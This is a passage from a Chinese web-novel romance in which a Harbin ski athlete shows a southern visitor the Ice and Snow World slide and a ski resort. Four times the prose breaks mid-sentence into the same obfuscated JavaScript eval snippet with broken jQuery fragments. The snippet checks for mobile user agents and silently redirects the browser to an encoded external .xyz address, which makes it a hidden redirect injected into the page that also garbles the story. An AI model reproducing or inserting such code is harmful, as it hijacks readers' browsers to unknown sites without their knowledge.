“对了,那个你身高如果没有一米六的话也是要去小孩那边的,要么你找个大人带你滑。”
“啊......”时漾遗憾了一下,忽然指向江鸣,“他可以吗?”
“他......你知道怎么滑吗姑娘,不怕他占你便宜啊?”
忍无可忍,江鸣拎着时漾的背包带把她从队伍里拉出来,“走吧,去那边,那边也很高了。”
时漾抗议无果,只能跟着江鸣去了最右边的滑梯排队,还没好气道,“你跟我过来干嘛,你也要滑小孩儿梯吗?”
“我不滑。”
哈尔滨这个天气,也就外地游客会不怕冷的在外面排队玩这个滑梯,而且他们东北孩子小时候拿个纸片找个坡儿就能滑,早就玩腻了这些。
“你生气啦?”
时漾踮脚凑近去看他脸上的表情,他冷着一张脸,看上去后槽牙都咬紧了。
“不至于,东北人都是这样,孩子的安全是第一位的,就算被误会也没人会生气,只会感激,谁也不知道自己家孩子是不是哪天会真的遇到危险,多问一句总比少问一句强。”
解释完,见时漾的视线还一直停留在自己的脸上,江鸣觉得自己早就冻僵的耳朵忽然热起来,痒痒的,生硬地补充道,
“只是有点郁闷而已。”
“哎呀,那个大哥说话是凶了点,你不要生气嘛。”
时漾笑起来,江鸣的视线更偏了些,一直在逃避。
说起来,那个大哥的语气也不算凶,而且就算凶也没凶时漾,跟她说话的时候嗓子都要夹冒烟儿了。
她不知道江鸣心里的os,只觉得他这样很有意思,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879740|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩心大起,继续盯着他看,
“你在想什么呀,不是说没生气吗?”
江鸣被盯得不自在,从口袋里摸出时漾刚刚参观时摘掉的手套塞到她手里,“把手套带好,你上去玩儿,我在下面等你。”
说完,他就离开了排队区域。
即使在人堆里,他的身高也是鹤立鸡群,十分显眼。
小孩儿的队伍不长,很快轮到时漾,整个人几乎是从高处飞驰而下,风刮的她全程睁不开眼睛,她忍不住尖叫,风全都透过围巾灌进嘴里。
江鸣就等在出口处,时漾看见他的时候,他正将刚刚举着的手机揣进口袋。
“你干什么呢?拍照片了?给我看看!”
“没拍,信号不好,找下信号。”
园区内人多,加上气温极低,信号确实一般,他们从进来开始就只能断断续续的收到消息。
时漾有些狐疑,但没继续追问,满脑子还想着滑滑梯,
“你能不能陪我去滑那个大的,我真的想试试!”
“你看到她们怎么滑了吗……”
江鸣指了指滑梯上的人,下来的刚好是一对母女,两人坐在一个圈里,小女孩缩在母亲怀里,笑得开怀。
母女,闺蜜,情侣这样滑都无所谓,他们的关系这样就容易冒犯,哪怕是时漾主动要求,他也不太赞成。
时漾犹豫了下。
其实来之前就有见过网上的视频,说是园区会给身高不够的游客分配180+体院帅哥陪滑服务,她还真的刷到过好几个女孩子的视频。
反正也不止她自己这样,江鸣他们好歹还算认识,好像,也没有什么关系……
“我觉得没什么呀,网上不都宣传园区有陪滑服务吗……”
“?”
江鸣想不通一个内敛腼腆的小姑娘怎么这时候又不拘小节起来了。
“拜托你咯。”
时漾扯住他的袖子晃了晃,眨巴着眼卖萌,
“你说的我有什么问题都可以找你的,你来都来了。”
从小到大身边都是东北女孩且母胎单身的江鸣哪里见过这种架势,对他来说时漾平时说话的语气就已经很温柔了,再刻意撒娇,他完全无法说出拒绝的话。
“行吧行吧。”
两人又去排大滑梯的队,维持秩序的还是刚刚的那个大哥,看见两人又回来,立刻瞪了江鸣一眼,他无奈地看向站在自己前面开开心心哼歌的女孩,朝大哥笑了笑。
比起刚刚的队伍,大滑梯的队几乎看不到头,他们在原地排了将近一个小时,队伍才走了大概一半。
时漾在前面蹦蹦跳跳哼着歌拍照片,周围的其他游客也没有任何不耐烦的表现,都和她一样兴奋。
作为队伍里少有的当地人的江鸣抬手搓搓耳朵,默默裹紧了自己身上的羽绒服,鼻子已经不太通畅,
“你不冷吗?”
“冷吗?”时漾并不觉得。
“哎我,等我有钱了我就整两个南方人穿身上,这小玩意儿也太抗冻了。”
“……”
你对南方人礼貌吗?刚刚还说他们是小金豆的。
5. 你会滑雪啊
时漾扯了扯围巾,瘪嘴委屈道,
“这么多游客都没说什么啊,如果你不想陪我出来的话,我下次就不麻烦你了。”
江鸣:?
“我又没说不陪你玩儿,你别这样整啊。”
他的耳廓又烧起来,身体却像是被钉在原地一样不知道该做什么,很显然,像刚才一样,他对待这样的时漾毫无招架之力。
又排了快一个小时队,天色都暗了下来,冰雪大世界的彩灯陆陆续续打开,冰雕又呈现出和白天不一样的光彩。
时漾又远远拍了些照片,他们才终于排到跟前,她自己扯着滑梯板迈着小碎步走上前去,负责的工作人员接过她手上的滑梯板,拦了下,“你咋上来了,你这自己不能滑这个呀。”
“他跟我一起的。”
时漾指了指自己身后还在擤鼻涕的江鸣,催促,“你能不能快一点!”
两个人就位坐好,江鸣扯着绳子,时漾的头顶刚到他下巴,整个人都被他圈在怀里。
工作人员稍微推了下,两人立刻顺着滑道飞出去,两人贴得很紧,时漾的后脑勺甚至磕在江鸣的下巴上,他都来不及惊呼一声,时漾的尖叫就响彻天际,他只觉得还是耳膜更疼一些。
“我劝你不要一直尖叫。”
他一字一顿,每次张嘴都有数不清的冷风灌进来,吹得他几乎发不出声音。
“为什么?”坐在前面的时漾想和他对话就更费劲了。
“滑梯有五百多米,你这样下去要灌一肚子风,抛开肚子疼不说,等会儿一样会很狼狈。”
江鸣的话说的还算委婉,但时漾听明白了狼狈的意思,低着头把下巴往围巾里藏,但仍然不隔一段路就忍不住尖叫一声。
她在南方连雪都很少见,更别说这种五百多米的大冰滑梯了,这玩下来和过山车也没什么区别,很难忍住不叫出来。
全程大概花了不到一分钟滑完,两人离开滑道后还因为惯性往前滑动了一段,时漾这会儿哑了火,像是震惊的说不出话。
等江鸣起身伸手拉她,她才后知后觉的回神,借力直接跳起来,“我还想再玩一次!”
“啊?”
再排两个小时队然后再吹着冷风滑下来一次?
江鸣想都没想,“别玩了呗,这会儿队更长了。”
“那要不你跟工作人员说说,让我自己滑嘛,我感觉这也没什么危险的呀。”
“拉倒吧你,就你这小身板根本压不住,一会儿二十秒滑下来直接给你滑到隔壁长春去。”
“……”
时漾皱着眉,她觉得自己似乎应该生气,但是想着江鸣刚刚的话,忍不住噗嗤笑出声,“你们东北人都这么幽默吗?”
“幽默是我们的天赋,是我们东北人最不值得一提的优点。”江鸣张嘴就来。
时漾还想笑,却觉得自己的脸颊上泛起了丝丝点点的疼,她抬手搓了搓脸,手也僵硬的没什么知觉。
见她的神情,江鸣也不再插科打诨,扯着她往门口去,取回了寄存的包,江鸣将里面的羽绒服拿出来给时漾披上,拉着她出门直奔哈尔滨路边新修的暖房。
时漾的身体不大听使唤,走得跌跌撞撞,好几次都听见羽绒服蹭到地上的声音,她想拉衣服,但整个人被江鸣裹了个严实,手都抬不起来。
进到暖房里,江鸣才松开了拢紧羽绒服的手,取掉时漾的手套,拉着她的手来回揉搓,直到感觉她的手开始回温。
“你再动动。”
她屈了屈手指,虽然依然不太灵话,但是比刚刚的僵硬好了不少。
“你自己搓搓脸,我出去买点东西,你别乱跑了。”
时漾听话地抬手搓脸,暖房里的温度很高,她已经能感觉到自己身上的温度升高,肢体也逐渐恢复灵活。
江鸣回来的很快,直接往她手里塞了个热乎乎的东西,她拿起来看,才发现是一根烤红薯,只套了一层塑料袋,烫手。
他又从包里翻出来几个暖宝宝,一个一个撕开给时漾贴进羽绒服的里侧,做完这些,他才松了口气,
“我可算知道修这些暖房干什么用的了。”
“这些以前没有吗?”
时漾被烫的来回换手拿烤红薯,江鸣掏了张纸给她垫着,
“没有,我们本地人可没这么虎,敢在室外一待就是五六个小时,还是在冰雪大世界。”
要知道,冰雪大世界建在在松花江北岸,日常基本都在零下二十度左右,比市区内的温度低得多,虽然也会有当地人来参观,但是能在里面呆这么久的并不多。
“刚刚你要是再去排队玩一次滑梯,这会儿都冻直溜儿了。”
她自知理亏,只是吐了吐舌头,闷头剥手上的红薯,
“我记得网上不是说你们这儿烤红薯现在会发勺子吗?”
江鸣拍了下口袋,挠头尴尬,“我一个大老爷儿,人家不给我。”
其实是忘记了。
他长这么大,二十几年里吃烤红薯都没用过勺子。
时漾只觉得他一开口自己就想笑,不敢和他对视,勉为其难地试着不用勺子吃,咬了一口才想起来,“你不吃吗?”
江鸣嘶了一声,看着她咬了一口的红薯,又抬眼看她,露出疑惑的神情,时漾还是没忍住笑出来,“感觉你跟我第一天见你的时候不太一样。”
“哪儿不一样?”
时漾思索片刻,“当时机场工作人员让我求助志愿者,我看着旁边载歌载舞的,没好意思过去,看见你自己站在一边,还以为你是个社恐。”
“谁社恐还来当志愿者。”
“可能社恐不太妥当,那就是高冷,反正没想到你是这样,你当时在车上忽然跟我说那么多话,都把我吓到了。”
“从来没人用高冷这个词形容过我呢还。”江鸣摸着下巴,一脸得意,“要不一会儿这段话你再在微信上说一遍,我好出去跟人炫耀。”
从小到大只有人说他捣蛋话多,还没人说过他高冷,听起来就很高级,很帅气。
像霸道总裁!
“?”
时漾搞不清他的脑回路,岔开话题,
“对了,咱们一会儿去哪儿吃晚饭,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879741|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你那天只跟我说了一个铁锅炖我还没去吃,但是离这边会不会有点远。”
“还行,坐地铁也就半个小时,不过这个点地铁也挤,那边人也多,咱们还是别去了,你再在室外挤俩小时真不行了。”
“……那你说去哪儿?”
江鸣问了时漾的忌口,在手机地图上翻看了一阵,最后定了一家东北传统杀猪菜的馆子。
确定她完全缓过劲儿之后,两人才出发去了餐馆,店里排队的人很多,但是他们只有两个人,很快就排到了一个小桌子,服务员带着他们往里走。
店内的温度很高,比刚刚的暖房还热,玻璃窗上有一层厚厚的雾气,店里的客人几乎都脱了外套,仍然吃得满脸通红,汗如雨下,和屋外仿佛是两个世界。
两个人还没点单,赠送的小菜就一碟一碟几乎占满了小桌子。
把菜单递给时漾点菜,江鸣的嘴还稳定发挥了一句,“现在可是条件好了,我们小时候这些还是只有过年才吃的。”
“你点吧,我不知道怎么点。”时漾把菜单推回来,没明白他话里的意思,“怎么了?这菜很贵吗?一会儿我请你。”
江鸣哽住片刻,只回答了前半句,“不贵,只是麻烦,所以平常很少吃。”
他看着点了三个菜,交代服务员份量小一些,本来他们两个人两样菜就够的,但是他想让时漾多尝些特色。
等菜的时间,他问起时漾接下来的旅行计划,她支支吾吾也说不清楚。
“你不是来旅游的吗,怎么都不做攻略。”
“我不是来旅游的。”
两个人这一天下来,某种意义上也算是过命的交情了,时漾能感觉到江鸣不是坏人,就把自己来哈尔滨的目的全盘托出。
听完,江鸣只是点了点头,
“我邻居也有个大爷是搞冰雕的,这个月份游客多,冰雕维护的工作量大,是有点走不开,你就先放心玩儿。”
“嗯。”
时漾也点头,正想说自己佛系地随便转转就好,忽然想起来在顾赟让她来哈尔滨之前她想来哈尔滨的原因,又兴奋起来,
“对了,你们这边真的可以有180+八块腹肌的体院帅哥抱着滑雪吗?”
“……呃,有。”
体院男儿是块砖,哪里需要哪里搬。
如果不是江鸣之前誓死卖艺不卖身,估计也是被安排在滑雪场抱着游客滑雪的那批。
“哪个滑雪场啊,帅哥帅吗?他们真的有八块腹肌吗?是怎么抱啊?公主抱吗?”
“你真打算去让他们抱着滑啊?”
看不出来,小姑娘还挺……放得开……
“为什么不可以?有这个服务不就是可以的意思吗?”
看着时漾真诚的眼神,江鸣感觉自己的额角一跳一跳的,他抬手压住,沉声道,“你想滑雪的话,我可以带你去。”
“你也会滑雪吗?”
“……”哇塞?
“我不像会滑雪的样子吗?”他无语。
“反正我想象不出来你滑雪的样子。”小姑娘坦白道。
6. 我不会拍照
为了证明自己,江鸣答应了带时漾去滑雪。
但他从冰雪大世界回家当晚就得了重感冒,还发了烧,躺在床上直往外冒烟,莫大爷关心他,送来了些甜梨水,但他根本吃不出味道。
一直到第二天上午吃完药稍微好转,他才想起给时漾发消息关心一下,
[你回去之后没有不舒服吧。]
时漾:[我没事儿啊,就是一进酒店就感觉手跟昨天晚上去吃饭一样有点痒,我按照你教的拿凉水搓了搓就好多了。]
[没感冒吧?]
时漾:[没有。]
[你感冒了啊?]
[……]
时漾知道江鸣感冒的事情之后,嘲笑了他好一阵,笑他的身体还不如自己一个在南方长大的小姑娘。
江鸣整个人都没什么力气,无能狂怒,把一切都怪在他只顾着给时漾戴帽子手套,自己没有什么防护措施上。
[不跟你说了,我睡会儿,你没事就行。]
时漾回了句好,也放下手机。
嘴上是嘲笑着,但她心里还是有一些愧疚,毕竟是她喊着江鸣去冰雪大世界的,而且是她不知者无畏,一下子在外面待了那么久……
没想多久,她忽然打了个喷嚏。
“……”
时漾:[咱们还是休息几天再去滑雪吧。]
-
江鸣这一觉睡得并不安稳,大概是生了病身体免疫力下降,他一闭上眼就不断地做梦,一个接着一个。
他是被手机铃声吵醒的,醒来时外面天已经黑了,屋子里昏暗一片,只剩跳动着手机号码的屏幕亮着,
“喂。”
他一开口,嗓子哑得几乎没有声音。
对面愣了愣,随后还是大叫起来,“江鸣!你看看几点了!你现在都直接翘训了是吗?”
是孔章。
他烧得迷糊了,忘了今天还有训练,但是事已至此,只能滑跪认错,
“不好意思啊教练,我感冒发烧不舒服,给忘了。”
“你小子昨天跑哪儿玩儿去了,壮的跟牛似的还感冒,你算算离省赛还有多久,你这次省赛拿不到名次,你还赶得上下次亚冬会吗?你自己不上心让我干着急有什么用?”
江鸣本想说几句好话,“萌”混过关,但孔章提到亚冬会,他瞬间沉默下来。
没有一个运动员不想往上走到世界舞台上,但是这样的机会并不多,每一次的竞争都很激烈。
毕竟国内人多,即使是找万里挑一的人才,也能选出来十四万。
他已经二十一岁了,对于滑雪这样危险的竞技比赛来说已经不算年轻,这是他离实现梦想最近的一次,也是不能再错过的一次。
“我知道了,等身体好转一些我就恢复训练。”
挂了电话,江鸣测了次体温,已经退烧,想了想,他和孔章约了第二天去训练。
滑雪队的训练也不是经常在雪场,大多数时候都是在训练场馆里借助辅助设备完善动作轨迹和姿态。
实战就意味着风险,而他们他们谁都担不起这个风险。
他的感冒没好全,去训练场时戴着口罩,跟孔章说话的声音也闷闷的,整个训练过程不算顺利,他的身体各项指标都不如之前,复盘的时候孔章看着他一次接一次地擤鼻涕,满脸嫌弃,
“请了一天假给自己造成这样,你没好就别来,搞得我好像虐待队员似的。”
“我自愿来的。”江鸣笑容谄媚,“主要是……”
“我过几天想再请一天假。”
“……就知道你小子没安好心,又去哪儿玩儿去?下次回来不会缺胳膊少腿吧。”
“那倒不至于。”
到了雪场就到了他的舒适区了,他才不会再一次陪着时漾在外面待上五六个小时给自己冻感冒。
江鸣抬手揽住孔章的肩,“教练,我知道你人最好了,我就再请一天假,而且我不出去乱跑,我就是想去雪场一天。”
“想实地训练啊?那你不跟我说,实地前几天我要给你调整训练项目的。”
“不是训练,我就是去玩玩儿。”
“你谈恋爱了?”
孔章总觉得江鸣最近不对劲儿,请假前那两天看手机看得也勤了,这隔三差五地请假,还要去雪场玩,除了谈恋爱他想不到还有什么原因。
他们干这行的天天跟雪打交道,有时候在雪场待一天看雪看得头晕,谁也不会没事还往雪场跑。
“就是一个朋友来玩儿,我去陪一下。”江鸣解释。
“女朋友啊?”
他从小到大除了在学校就是在训练,身边的朋友不是同学就是队友,哪来的外地新朋友。
“……”
说不通,江鸣破罐子破摔,“你就说你准不准假吧!”
“你都敢直接不来了,我准不准假重要吗?”
孔章没直接点头,但江鸣明白他这意思就是准假了,拍了拍他的肩,“教练你真不差事嗷。”
“滚去再加一组腰腹力量训练,就你这状态,小心到时候在人姑娘面前丢脸。”
“一切遵从我英明神武的教练指示,我马上就去,我直接加两组。”
“滚滚滚。”
-
感冒在锻炼里好得很快,江鸣正常训练了一周,一直到第九天才收到时漾的微信,早就提前打过招呼,他只给孔章发了个信息说明,就和时漾约了时间,路线和门票都全由他搞定。
他日常训练去的亚布力滑雪场是哈尔滨最大最专业,也是比较老牌的滑雪场,只是离哈尔滨市区很远,他们要坐一个小时高铁过去滑雪场所在的县级市,到地方还要打车半个小时才能到地方。
好处是,有江鸣在,不用买票。
十二月中旬,东北的气温更下了一个台阶,底下的小县级市远不比哈尔滨的市区暖和,即使时漾已经听了江鸣的建议给自己多套了两件保暖衣裤,坐在开着暖气的车里,她还是会隐隐感觉冷风无孔不入地钻了进来。
车子从高铁站行驶一阵,他们慢慢远离了市中心,道路不如刚刚宽阔,地上也开始覆盖上了雪,路边有很多树林,没有叶子,时漾看不出树的品种,光秃秃的树枝上也盖着白色。
眼前的景色渐渐和她和她几年前初高中学习地理时在照片上看到的东北重合。
哈尔滨近期并没有下雪,所以时漾除了那天在冰雪大世界看到了冰雪之外,这还是第一次见。
冰雪大世界里更多的是冰,所谓的雪大多只是薄薄的一层点缀,此时的却不同,车道上的雪被人清理过,在路边堆出高高的雪堆,而车道以外的地方,雪看起来就厚实松软。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879742|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时漾几乎看入了神,趴在窗户上一瞬不瞬地盯着看,生怕错过了什么。
眼见着周围的环境越来越远离市区,时漾忽然转过头,“你不会是要把我带到深山里卖掉吧。”
她眨巴着眼,看起来一脸认真。
江鸣愣了下,随后轻笑了一声,“你可拉倒吧你,你才能卖多少钱?”
“……”
我跟你开个玩笑,你却人身攻击,能不能做朋友了。
时漾没理他,继续看风景。
当雪山出现在眼前的时候,时漾整个人都被惊的说不出话。
她住在杭州市区,上学的时候连学校组织郊游都是去西湖,她很少见到高山,更没有见过雪山。
“这边山上常年都有雪吗?”
“人工造雪一年四季都不停,当然常年有雪。”
“冬天也要造雪吗?”
“嗯,天然的雪达不到雪道需要的细腻度,含有杂质容易发生危险。”
时漾点点头。
原来滑雪还有这个门道。
亚布力滑雪场全称是亚布力滑雪旅游度假区,这一座雪山,连带着山脚下的一些商家都被囊括其中,范围很大,除了景区内登记过的车,其他的出租车只能停在度假区门口,他们也不愿意进入景区里面,麻烦,遇到景区人流量大的时候还容易堵车耽误时间。
景区内交通很方便,可以选择乘坐景区大巴或者步行。
江鸣本来想问问时漾要怎么进去,一转头就看见她下车直奔雪地去了。
雪没到她的小腿,她在雪地里踩出一串脚印,自己还觉得稀奇,不停地回头看。
江鸣不想这样扎进去,哪怕他今天穿了一个短靴,雪依然会顺着钻进鞋里,等化了会很难受。
时漾弯腰捧起一捧雪,想在手上攥成雪球,但最表层的雪往往最松软,时漾只得摘掉手套,最后一大把雪捏着捏着只剩下一颗乒乓球大的小球,她把雪球藏在手心里,喊江鸣,
“你不过来玩儿吗?”
江鸣把她的小动作尽收眼底,“我又不是没见过雪,我可不稀奇。”
小时候他最讨厌的就是冬天上学,动不动就会摔个狗吃屎,而且只要摔倒,周围人立刻就会把数不清的雪球和雪往他身上扔,关系好的会直接拉开他的衣服往他怀里塞。
小心思没能得逞,时漾也没有放弃,往回跑了两步用力将雪球朝着江鸣砸过去,不过距离太远,连江鸣的脚尖都没有碰到。
这一套动作但凡换了其他人来,江鸣都会直接当做宣战,不把对面埋进雪里就不算完,但时漾……
算了。
“你还要不要滑雪去了。”
“去啊去!你先在这儿帮我拍两张照片吧。”
时漾又跑过来,每一次迈步都需要把腿抬得很高才能从雪地里拔出来,带起的雪在空中扬起弧度,最后全扑在她后背上,每一脚落下去,雪地里都会发出吱呀吱呀的响声。
她把手机递给江鸣,手机背面贴得暖贴还在向外释放着热度,把她的手心也染得滚烫,通红,她的指尖,因为刚刚碰过雪,是凉的,但也红红的。
江鸣今天带了手套,只感觉到那股温热透过手套,钻进了他的掌心,像是一根羽毛,在他掌心挠痒痒。
他咽了咽口水,垂下眼,“我不会拍照。”
7. 我相信你
“哎呀你快点嘛,对着我一直按快门就行,我自己摆动作,实在不行你录视频也好。”
时漾穿了一件鹅黄色的羽绒服,成为了纯白天地里唯一的一抹亮色。
江鸣抿唇,僵硬地举起手机对着她拍。
时漾站在雪地里来回地换动作,她蹲下来捧着雪朝江鸣的方向扬,细碎的雪花在阳光下折射出奇特的光线。
她的下巴藏在衣领里,毛茸茸的白色耳罩遮住了部分脸颊,她笑起来,眉眼弯弯,显得温暖又明媚。
一连串的快门声响起,恰好遮盖住江鸣放缓的呼吸声。
时漾蹦蹦跳跳的过来验收他的拍照成果,只看了一眼,就蹙起眉,整张脸都皱巴巴的,
“你这拍的都是什么呀。”
按理来说,雪地拍照是最不需要技巧的,背景本身简单干净,雪地又是天然的反光板,但是江鸣偏偏好像能拍出第361度。
他凑过去看,看不出任何问题,
“怎么了?我觉着挺好的啊。”
“你看啊,这个手挡到了半张脸,这个你拍到了我的鞋子,在雪地里显得很黑,一点也不好看,还有这几张我甚至都没有睁眼。”
顿了顿,她翻到最后一张,“更过分的是,你把我拍得很矮!”
不论她是站着还是蹲着,江鸣就像是一个固定不能动的手机支架,每一张的角度都像量角器一样精准,而且离得远他也不知道拉焦距,基本上都是全身照。
“你这有点难为我吧。”
江鸣挠了挠头,他本来就不会拍照,更没有把156身高的时漾拍高的功力。
“……你什么意思呀!真讨厌!”
江鸣移开视线,“那我重新拍吧。”
挑挑拣拣地几乎删完了所有照片,时漾上网搜索了一些拍照技巧给江鸣看,他一脸凝重,最后选择掏出自己的手机播放教学视频进行一比一还原。
时漾站着,他就半蹲下来将镜头卡在她的半腰位置,放大焦距微微仰拍。
时漾蹲下来,他就举起手机找角度俯拍。
一顿忙活下来,他感觉自己像做了两组力量训练一样累。
模特过来验收成果,先是皱了皱眉,随后才叹息道,“算了,可以P。”
“?”
他们开始往度假区里面走,江鸣不满地发出抗议,“我辛辛苦苦拍了半天就这一句啊。”
时漾边走边拍照,“你不懂,可以P已经是对你的最高赞誉了。”
就算是专业摄影师拍出来的也是要P的,所以可以P怎么不算一种夸奖呢?
走到度假区售票处,江鸣掏出证件去换票,售票员熟稔地跟江鸣打招呼,
“今天没和孔教练一起来呢?”
“今天带朋友来玩儿。”
售票的窗口不大,几乎被江鸣挡了个严实,他只能看见一抹亮眼的鹅黄色,笑着把票递给江鸣,
“整挺好啊,玩得开心哈。”
见他换完票,时漾好奇地探头去看,
“你那是什么证?能直接换票啊。”
看了一眼时漾手机上的P图界面,江鸣把证件递到她手里。
难得小姑娘能停下P图的活来问他一句,当然要满足她的好奇心。
“你是省队的滑雪运动员?”
“不像吗?”
“不太像。”
时漾回答的太快,江鸣张张嘴,长出一口气后才追问,“那你倒是说说哪里不像。”
“我也说不上来,你又没跟我说过,我怎么会知道?干嘛凶我。”
“我什么时候又凶你了?”
他现在简直比窦娥还要冤,也不知道时漾在哪里学的这一套,动不动就是“你不想去就算了吧”“你干嘛凶我”,明明这样无理取闹的话,搭配上她的声音和语调,偏偏让人毫无抵抗力。
江鸣吃下这个哑巴亏,走着走着忽然想起来,
“都说你们南方人防范意识强,咱们也算认识了一段时间,你从哪儿来,来东北干什么我都知道了,我的情况你一点儿都不知道还敢一次次跟我出来玩儿……”
“……”好像确实是这样。
“我觉得你虽然长得凶巴巴的,还有点直男,但是你是个好人,不然也不会去做志愿者了。”
顿了顿,时漾继续道,
“至于你不告诉我你的情况,那是你不坦诚,不想跟我交朋友。”
小姑娘脑子还挺灵光,一转眼又夺回了主动权把他堵的没话说。
“现在你知道了,我其他信息百度百科上有,先去挑滑雪服。”
滑雪场里的滑雪服店很大,款式挂了整整三面墙,还有一面墙边塞满了各种各样造型的护具,头盔和护目镜。
时漾想也没想就挑中了一套浅粉色的连体滑雪服,江鸣帮她配好了一套防护措施,让工作人员带她进去换衣服。
“一会儿换完在这里等我,我也去换衣服。”
滑雪队常年在这里训练,有自己专属的换衣间,每个人都有私人储物柜,放着自己喜欢的装备。
他的柜子里挂了三套雪服,他犹豫了下,选了黑粉相间的那一套。
这是去年他生日时李萱女士送的,她从江鸣小时候就总喜欢忽悠他穿裙子,尤其是粉色的裙子,导致他一直最讨厌粉色,没想到一直到去年,李萱还让对他穿粉色这件事念念不忘。
他把这件雪服丢进储物柜之后就没有穿过,怎么看怎么不顺眼,不过现在看来,
粉色好像也没有那么难看。
他很快换好,回到店里去接时漾,走到门口,就看见她正站在镜子前转来转去地欣赏自己,拿着手机对镜拍。
她的膝盖和屁股后都已经绑好了防摔的小乌龟,脸被护目镜和护脸挡了个完全,如果不是看着她选了雪服,估计还很难认出她来。
“走了。”
时漾一边蹦蹦跳跳跟着他往外走,一边思考,“滑雪难吗?你说我是适合单板还是双板呀。”
“试试就知道了,我都可以教你。”
他先递过去一个双板,“从双板开始吧。”
单板滑雪的核心发力点聚集在腰腹及以下,要求能通过腰部发力,需要在双脚之间找到平衡感,很难靠上半身的动作弥补下半身的不足,整体对身体的协调性要求更高。
而双板,上半身,膝盖,脚踝都能一定程度的影响身体的平衡和动作的完成,对于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879743|159752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
初学者来说能够更快速地找到发力点,也更稳当。
除了初学容易劈叉,没有什么特别的难点。
江鸣用尽量通俗的语言解释着单双板的区别,时漾耐心聆听着,点头如捣蒜,最后幽幽道,
“我想学单板。”
她把手上的双板插在地上,右手扶住,左手去摸江鸣手上的单板,满脸恳求。
“……”白讲了呗。
江鸣没有强求,只是接过她手里的板子,又给她挑了一块相对轻快一些的单板。
没有乘着魔毯去出发点,江鸣现在下面找了一块空地向时漾讲解初学技巧,包括怎么穿板,怎么站起来,又怎么发力。
穿好板子从地上站起来,就几乎用尽了时漾的力气,坐下来的时候身体重心整个都是往后倒的,站起来的时候他不仅要向前靠重心,还要往上提。
好不容易站起来,还没来得及高兴,她的滑雪杖一离地,她就立刻再次向后面摔去,一把摔了个屁股墩儿。
幸好她带了全套的护具,摔着倒也不疼。
江鸣正想拉她起来,她推开他的手,“我自己来,我就不信了!”
费了九牛二虎之力,她终于站稳,身子微微前倾着,把雪杖支在地上做支撑,
“我好了,你继续教我吧。”
时漾的专业让她对人体的结构很熟悉,所以对于江鸣讲得难懂的知识点也很好理解,不过也仅限于听懂。
她的运动细胞不发达,特别是现在她还没有习惯厚衣服,也不够灵活。
最后,她只能干听,一想实践就会摔倒。
一直的失败和摔倒,让她有些崩溃气馁,坐在地上不愿意爬起来。
“我不学了,我屁股要摔成两半啦!”
江鸣全程情绪稳定,没有任何抱怨和不耐烦,见她不愿意起来,只是默默收回去拉她的手,蹲下身帮她解开板子,玩心大起,“我教你一句东北话怎么样?”
“什么东北话?”
板子解开,时漾也没站起来,还是一屁股坐在地上微微仰头看着江鸣。
“屁股墩儿。”
“屁股墩……儿,这是什么意思?屁股吗?”
时漾别扭地吐出这四个字,儿化音在她嘴里好像不认识前面的字一样,她挠挠头,问起这句话的意思。
“就像刚刚这样一屁股摔在地上,就叫摔了个屁股墩儿。”
她愣了下,随后抓起一把雪往江鸣身上砸,“你嘲笑我!”
她的小脸皱巴巴的,用手拍打着地面,“你真讨人厌!烦人精!”
目的达成,江鸣压抑着唇角的笑意,时漾的这些脾气在他看来也好像撒娇一样,不仅毫无攻击力,还让她整个人显得毛茸茸的。
像只傲娇的小猫咪,虽然炸毛,但是撸一把,还是软乎乎的。
“好了好了,我错了。”
江鸣站起身,把时漾也拉起来,细心地拍掉了她身上的雪,
“我们先学双板,好吗?”
“嗯。”
时漾不说话,只是点头,一副赌气的样子,接过板子,她哼了一声,
“这次我一定会学会的!”
“嗯,我相信你。”
8. 别慌
相比单板,双板会更加灵活,虽然难以控制,但是不至于连站都站不起来。
她穿戴好板子,江鸣轻轻一拉她就站了起来,用雪杖撑着,抛开一直往外滑的两只脚,站得也算稳当,时漾大受鼓舞,迫不及待想快些开始。
江鸣蹲下,一手握住她的脚踝,一手按住她的脚背,
